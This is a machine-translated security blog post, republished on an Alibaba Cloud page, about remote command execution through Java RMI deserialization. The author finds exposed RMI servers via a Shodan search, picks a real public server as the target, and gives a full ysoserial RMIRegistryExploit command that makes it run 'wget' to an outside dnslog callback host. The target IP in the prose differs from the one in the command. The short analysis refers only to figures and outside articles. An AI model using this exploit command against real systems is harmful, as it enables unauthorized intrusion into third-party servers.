Java RMI Service remote command execution leverages __java

Source: Internet
Author: User

--------------------------------------------------------------

Haven't updated the blog for a long time, today to a.

--------------------------------------------------------------

0x00 Introduction The Java RMI service is a remote method call (invocation). It is a mechanism that enables an object on one Java virtual machine to invoke the method of another Java virtual machine object. In the Java Web, RMI is used in many places to invoke each other. For example, many large organizations will be in the background to deploy a number of Java applications, for the external site to publish updated static pages, and this release command to use this is the RMI form. It is noteworthy that the RMI transfer process is bound to use serialization and deserialization if the RMI server port is developed externally and the server uses a library such as the Apache Commons collections, which can result in remote command execution. First look at the use.
0x01 Exploit search shodan:https://www.shodan.io/search?query=port%3a%221099%22+country%3a%22cn%22 can see or have a lot of cases, This extracts a case to illustrate the scenario: the 182.92.214.221 server is open to Port 1099 (the default open port for RMI services) and is exposed to the public network and is using exactly the defective version of Apache Commons collections. We need to execute the command on this server. Tools: (1) Ysoserial-0.0.3-all.jar download address https://github.com/frohoff/ysoserial (2) The Java environment executes the command, in order to verify the true success, I use Cloudeye to verify that: wget Http://ddabcc.dnslog.info?hello The URL above is my cloudeye address (code). Perform:

JAVA-CP Ysoserial-0.0.3-all.jar ysoserial.exploit.RMIRegistryExploit 43.224.227.176 1099 CommonsCollections1  " wget Http://ddabcc.dnslog.info?hello "

Although I see an exception thrown, our command has been executed to view Cloudeye:



simple analysis of 0x02Notice that there's a ysoserial.exploit.RMIRegistryExploit in the command line in the exploit. I am cheap to see the source code, Exp logic is very clear, I added some comments, the following figure:

Look at this snippet, it seems to be registered RMI service in the process is pwned, anyway, the principle is very simple. The concrete can see these two articles of the Green Union: http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/http:// Blog.nsfocus.net/java-deserialization-vulnerability-comments/about the deserialization of the vulnerability, my blog before the article on the analysis, want to understand the students can be turned out to see.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.